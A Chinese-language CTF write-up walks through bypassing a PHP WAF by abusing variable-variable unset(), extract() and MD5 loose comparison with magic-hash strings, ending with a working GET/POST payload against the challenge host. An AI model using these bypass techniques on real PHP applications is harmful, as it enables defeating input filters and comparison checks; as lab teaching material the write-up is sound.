這個一上來有點把我整蒙了。。。
這個waf
我尋思怎麼都繞不過啊,/flag/i
,只要提交flag
就能被檢測出來,想是想不出來了,只能弄個環境慢慢調試吧。
function waf($a){
foreach($a as $key => $value){
echo $key."____".$value; //我自己加的,看看啥情況。
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }
先試個flag=1
明顯看到flag就是$key,繞不過正則。然後試了下1flagxxx=1
還是不行,名字不行,那試試數組。
還是不行,再把flag
放到數組的鍵名中去。
好了,成功繞過這個了。這裏咋一看就覺得有點奇怪的,記得這個key
應該就是[]
裏面的鍵阿,怎麼會變成數組名稱的。
後來仔細看了下才發現,$_POST
本來就是個數組,然後傳一個數組的話,當然只會把數組的名稱當作key
了,所以把flag關鍵字
放入鍵名裏面就可以繞過正則了。。。
接着來看下面這一段。
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
不管是$_POST
或者是$_GET
,當提交的數組名和值相等時,就進行unset()
,即銷燬變量。但是我post提交數據時,總是無法讓他們相等。
本地測試代碼爲
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
var_dump($$__R);
echo "^<br>";
var_dump($$_k);
echo "^<br>";
var_dump($__v);
echo "^<br>";
var_dump($$__k == $__v);
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
提交參數爲:_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO
,用這兩組數就是因爲md5弱比較,這就不多說了。
運行結果爲
沒有相同,所以最後比較後不用銷燬,算是成功提交。
if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_POST['flag'])){
if($_POST['flag'] === $_POST['wenhua']){
exit('error');
}
if(md5($_POST['flag'] ) == md5($_POST['wenhua'])){
echo "flag";
}
}
通過extract()
函數將數組給拆成變量,鍵名爲變量名,鍵值爲變量值。但是關鍵是上一步的處理後,發現$_POST
仍然是一個數組,處理了以後就變成了_POST[flag]
,並不是$_POST[flag]
,下面的if
無法執行。。。於是知道思路應該錯了。
這裏反着來考慮,最後需要提交$_POST['flag']
和$_POST['wenhua']
,那行,那post
裏面的參數就應該是flag=s224534898e&wenhua=QNKCDZO
,但是這樣明顯是無法繞過waf
的。所以這裏就只能把unset
利用起來了。
再來看看這一段。
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
之前沒有把$_GET
用起來,再來想一想,傳flag=s224534898e&wenhua=QNKCDZO
,那麼結果肯定是不會被銷燬的,如果不能被銷燬,那麼waf
就繞不過去,這裏就一定得想辦法讓他進行銷燬掉$_POST
才行。
一樣的方式,倒着看,需要unset($_POST)
,那麼$__k
就爲_POST
,這個值怎麼來呢,之前的一直沒用上的$_GET
這裏就可以用上了,假設通過GET
方式傳的是_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO
,再來看看會是啥情況。
那麼此時$$__k
爲$_POST
,而$__v
爲array(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" }
,由於POST
方式提交的參數爲flag=s224534898e&wenhua=QNKCDZO
,即$_POST
也爲array(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" }
,這樣就把$_POST
銷燬了,銷燬就可以繞過waf
了。
下面是測試的圖,測試代碼還是之間的那個
那問題來了,銷燬了,最後的if
怎麼比較。。。不要忘了,還有一個extract()
函數。可以通過extract($_GET)
還原出$_POST[flag]
和$_POST[wenhua]
的。那麼最終的payload
爲
http://39.96.166.21:7071/index.php?_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO
post提交
flag=s224534898e&wenhua=QNKCDZO
提交後成功拿到flag
。